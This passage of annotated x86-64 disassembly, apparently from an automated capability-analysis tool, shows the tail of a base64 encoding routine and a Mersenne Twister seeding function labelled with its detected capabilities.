mov rax, rdx
and edx, 0x3f
shr rax, 6
and eax, 0x3f
dec rdi
movzx eax, byte [rax + rbx]
mov byte [r10 + r9 - 2], al
movzx eax, byte [rdx + rbx]
mov byte [r10 + r9 - 1], al
jne 0x14000d770
mov rdi, qword [rsp + 0x10]
test r8, r8
je 0x14000d852
movzx eax, byte [r11]
shl eax, 0x10
movsxd rcx, eax
cmp r8, 1
jbe 0x14000d805
movzx eax, byte [r11 + 1]
shl eax, 8
cdqe
or rcx, rax
mov rax, rcx
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rax + rbx]
mov byte [r9 + r10], al
mov rax, rcx
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rax + rbx]
mov byte [r9 + r10 + 1], al
cmp r8, 1
jbe 0x14000d83d
shr rcx, 6
and ecx, 0x3f
movzx eax, byte [rcx + rbx]
jmp 0x14000d83f
mov al, 0x3d
mov byte [r9 + r10 + 2], al
mov word [r9 + r10 + 3], 0x3d
lea rax, [r9 + 4]
pop rbx
ret
mov byte [r9 + r10], 0
mov rax, r9
pop rbx
ret

Function at 0x140023aa0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x1401288a0], ecx
mov edx, 1
lea r8, [0x1401288a4]
nop word [rax + rax]
mov eax, dword [r8 - 4]
add r8, 4
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
inc edx
mov dword [r8 - 4], ecx
cmp edx, 0x270
jl 0x140023ac0
mov dword [0x140123b24], 1
mov dword [0x14012a6e4], 1
ret